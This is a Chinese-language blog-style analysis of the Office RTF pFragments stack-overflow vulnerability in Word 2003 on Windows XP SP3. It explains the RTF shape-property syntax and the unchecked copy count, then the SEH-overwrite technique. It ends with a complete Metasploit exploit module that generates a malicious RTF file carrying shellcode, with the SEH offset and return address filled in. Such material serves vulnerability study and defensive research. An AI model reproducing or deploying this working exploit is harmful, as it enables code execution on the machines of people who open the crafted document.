感觉通过分析这个漏洞学到了很多,了解文档格式,去构造相应的漏洞文档。。。
这是office的RTF解析漏洞,主要是在解析pfragment属性出现的栈溢出问题,废话少说了,开始分析.....
1.基本介绍
平台:Windows Xp Sp3 word 2003
POC构造平台:BT5 Metasploit
2.攻击展示
2.RTF文档分析
RTF文档格式: {\rtf1 ; 指明的rtf文档,即RTF文件头
因为此漏洞是在RTF解析pFragments属性时出现的栈溢出,且该属性属于RTF绘图时的属性,因此将介绍与之相关的文件的格式。
{\shp ;这个控制字是将图形相关的信息组合到一起。
{\sp ;绘图属性控制字,说明后面将是绘图属性的描述。
{\sn 属性名} ;指明是何种属性。
{\sv 属性值} ;指明的合适的属性值。
3.漏洞分析
RTF漏洞原因: 在进行复制的时候,因为没有对复制次数进行检测,导致复制时栈溢出。
该语句是重复将ESI指向的源数据区重复复制一个双字(这里是32bit)到EDI寄存器指向的目的数据区,重复次数由ECX决定,因为没有对ECX的值进行限制,因此导致复制次数过多,使得栈溢出。
该漏洞发生在解析pfragment属性,下面为RTF解析该属性的部分源代码。
在这里,复制的次数有ECX决定,而ECX理论上的最大值应该为FFFF,但是在进行复制之前,有一个移位运算(shr ecx,2),因此ECX的最大值为3FFF,因此能够达到的最大复制为4*3FFF=FFFC字节,而分配给程序的程序运行栈栈底为0012ffff(一次运行),而执行这次复制的起始地址为00123dc0,因此空间为c240,远小于fffc,因此控制ECX将能够使得复制超过程序运行栈栈底,导致溢出。
4.漏洞利用POC(基于Metasploit)
利用原理:
栈溢出,导致触发SEH机制,使Ret覆盖seh链,使得能够跳转到shellcode
具体过程: 在栈溢出,触发seh机制时,先将一些基本的信息压入栈,然后会将指向下一条seh的地址压入栈(对应为directe),将指向异常处理函数首址的地址压入栈,等。
而在触发异常时,会跳到Ret处进行执行(pop/pop/ret),因此将会执行directe,由directe处指向JMP2,然后由JMP跳到shellcode进行执行。
使用metasploit构造Poc
文档的基本格式构造:
这里给pFragment属性设置了三个值,开始尝试了一个、两个值均利用失败,而使用第三个值利用成功,前面两个值没有作用,因此只需要构造第三个值使之溢出即可。
该属性的第三个值的构造: 该值的前部一些信息(按照格式): 前4个字节的填充,后两个字节指明复制的次数
填充shellcode。
填充directe和Ret,这里使用的是metasploit自带的函数,构造的retu一共8字节,通过OllyBug调试,得出seh的地址相对于shellcode首址偏移51156
构造JMP2,向上跳到shellcode
5.完整的POC
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'RTF',
'Description' => %q{
exploit
},
'License' => MSF_LICENSE,
'Author' => 'think',
'Version' => '$v1.0 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinxpSp3 office 2003 RTF',
{
'Offsets' => [51156],
'Ret' => 0x30001bdd # p/p/r
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'ms_rtf.rtf']),
], self.class)
end
def exploit
####################
data = ''
data << [0x1000].pack('v') * 2
data << [0xffff].pack('v') #copy times
shellcode = rand_text(60000)
shellcode[0,payload.encoded.length] = payload.encoded #payload (shellode)
#ret and jmp
retu = generate_seh_record(target.ret)
shellcode[51156,51156+retu.length] = retu #set the ret
distance = 51156+retu.length
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
shellcode[51156+retu.length, jmp_back.length] = jmp_back #jmp
# RFT file contents
contents = "{\\rtf1{\\shp{\\sp{\\sn pFragments}" #the base structure
contents << "{\\sv 1;1;" #the first and second value
contents << data.unpack('H*').first #the third value
contents << shellcode.unpack('H*').first
contents << "}}}}"
#contents = jmp_back.length.to_s
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(contents) #create file
end
end
6.参考
Metasploit 渗透测试魔鬼训练营